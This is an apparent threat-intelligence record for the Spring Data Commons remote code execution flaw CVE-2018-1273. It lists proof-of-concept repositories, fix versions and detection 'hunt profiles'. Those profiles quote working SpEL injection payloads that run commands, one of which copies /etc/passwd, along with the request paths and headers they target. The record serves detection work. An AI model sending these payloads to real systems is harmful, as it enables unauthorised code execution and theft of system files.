{
  "id": "CVE-2018-1273",
  "url": "https://poc.griffinguard.io/cve/CVE-2018-1273",
  "published_at": "2018-04-11T13:00:00Z",
  "title": "VMware Tanzu Spring Data Commons Property Binder Vulnerability",
  "vendor": "Spring by Pivotal",
  "product": "Spring Framework",
  "cvss": {
    "score": 9.8,
    "source": "cisa-adp",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2022-03-25",
    "known_ransomware_campaign_use": "Known",
    "days_after_publication": 1444
  },
  "first_poc": {
    "created_at": "2018-04-13T13:41:02Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 2,
    "repo": "knqyf263/CVE-2018-1273",
    "source": "github"
  },
  "poc_repo_count": 3,
  "exploit_count": 1,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.",
  "cwe": "CWE-94",
  "cvss_by_source": {
    "cisa-adp": 9.8
  },
  "repos": [
    {
      "repo": "knqyf263/CVE-2018-1273",
      "url": "https://github.com/knqyf263/CVE-2018-1273",
      "created_at": "2018-04-13T13:41:02Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 10,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2012-08-31T07:56:45Z"
    },
    {
      "repo": "wearearima/poc-cve-2018-1273",
      "url": "https://github.com/wearearima/poc-cve-2018-1273",
      "created_at": "2018-04-17T13:41:00Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 24,
      "is_poc": "fake",
      "kind": "fake",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-12-27T11:45:59Z"
    },
    {
      "repo": "webr0ck/poc-cve-2018-1273",
      "url": "https://github.com/webr0ck/poc-cve-2018-1273",
      "created_at": "2018-10-05T14:42:07Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 2,
      "is_poc": "fake",
      "kind": "fake",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-08-01T14:24:37Z"
    },
    {
      "repo": "cved-sources/cve-2018-1273",
      "url": "https://github.com/cved-sources/cve-2018-1273",
      "created_at": "2019-01-17T17:55:17Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "unknown",
      "kind": "listed by PoC Index",
      "suspicion_score": 15,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 30 days before the repo"
      ],
      "status": "skipped",
      "owner_created_at": "2019-01-06T17:06:27Z"
    },
    {
      "repo": "jas502n/cve-2018-1273",
      "url": "https://github.com/jas502n/cve-2018-1273",
      "created_at": "2019-04-29T03:43:15Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 58,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-01-07T12:20:39Z"
    },
    {
      "repo": "hdgokani/CVE-2018-1273",
      "url": "https://github.com/hdgokani/CVE-2018-1273",
      "created_at": "2025-06-25T05:17:45Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "fake",
      "kind": "fake",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2020-12-07T09:52:50Z"
    },
    {
      "repo": "CyberCTF/vulhub-spring-cve-2018-1273",
      "url": "https://github.com/CyberCTF/vulhub-spring-cve-2018-1273",
      "created_at": "2026-10-08T19:51:01Z",
      "first_seen_at": "2026-11-14T14:50:35.824Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2024-12-01T11:12:42Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "",
        "product": "org.springframework.data:spring-data-commons",
        "ranges": [
          "\u003e= 1.13.0, \u003c 1.13.11"
        ],
        "fixed_in": [
          "1.13.11"
        ],
        "ecosystem": "Maven",
        "advisory": "GHSA-4fq3-mr56-cg6r"
      },
      {
        "vendor": "",
        "product": "org.springframework.data:spring-data-commons",
        "ranges": [
          "\u003e= 2.0.0, \u003c 2.0.6"
        ],
        "fixed_in": [
          "2.0.6"
        ],
        "ecosystem": "Maven",
        "advisory": "GHSA-4fq3-mr56-cg6r"
      }
    ],
    "upgrade": [
      "Upgrade org.springframework.data:spring-data-commons to 1.13.11 or later.",
      "Upgrade org.springframework.data:spring-data-commons to 2.0.6 or later."
    ]
  },
  "exploit_refs": [
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1273.yaml",
      "source": "nuclei",
      "title": "nuclei template: Spring Data Commons - Remote Code Execution",
      "published_at": "2023-04-27T04:28:59Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/account",
      "headers": [
        {
          "name": "Accept",
          "value": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        },
        {
          "name": "Accept-Language",
          "value": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"
        },
        {
          "name": "Cache-Control",
          "value": "no-cache"
        },
        {
          "name": "Cookie",
          "value": "sidebar_collapsed=false"
        },
        {
          "name": "X-Forwarded-For",
          "value": "127.0.0.2"
        }
      ],
      "body_markers": [
        "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/jas502n')]=test",
        "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123",
        "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        8080
      ],
      "user_agents": [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
      ],
      "protocol": "http",
      "repos": [
        "jas502n/cve-2018-1273"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "jas502n/cve-2018-1273/README.md:36",
        "jas502n/cve-2018-1273/Vulnerability-environment/README.md:30",
        "jas502n/cve-2018-1273/Vulnerability-environment/README.md:37"
      ]
    },
    {
      "method": "POST",
      "path_template": "/users",
      "query_markers": [
        "page=",
        "size=5"
      ],
      "headers": [
        {
          "name": "Accept",
          "value": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"
        },
        {
          "name": "Accept-Language",
          "value": "zh-CN,zh;q=0.9,en;q=0.8"
        },
        {
          "name": "Cache-Control",
          "value": "no-cache"
        },
        {
          "name": "Origin",
          "value": "http://localhost:8080"
        },
        {
          "name": "Pragma",
          "value": "no-cache"
        },
        {
          "name": "Referer",
          "value": "http://localhost:8080/users?page=0\u0026size=5"
        },
        {
          "name": "Upgrade-Insecure-Requests",
          "value": "1"
        }
      ],
      "body_markers": [
        "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"touch /tmp/success\")]=",
        "password=",
        "repeatedPassword="
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        8080
      ],
      "user_agents": [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"
      ],
      "protocol": "http",
      "repos": [
        "CyberCTF/vulhub-spring-cve-2018-1273"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "CyberCTF/vulhub-spring-cve-2018-1273/app/README.md:30",
        "CyberCTF/vulhub-spring-cve-2018-1273/app/README.zh-cn.md:26"
      ]
    },
    {
      "method": "GET",
      "path_template": "/users",
      "ports": [
        8080
      ],
      "protocol": "http",
      "repos": [
        "CyberCTF/vulhub-spring-cve-2018-1273"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "CyberCTF/vulhub-spring-cve-2018-1273/checks/users.sh:4"
      ]
    },
    {
      "method": "POST",
      "path_template": "/users/",
      "body_markers": [
        "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"cp /etc/passwd /tmp\")]=test",
        "username[T(java.lang.Runtime).getRuntime().exec(\"cp /etc/passwd /tmp\")]=test"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        8080
      ],
      "protocol": "http",
      "repos": [
        "knqyf263/CVE-2018-1273"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "knqyf263/CVE-2018-1273/README.md:25",
        "knqyf263/CVE-2018-1273/README.md:31"
      ]
    }
  ],
  "rules": []
}
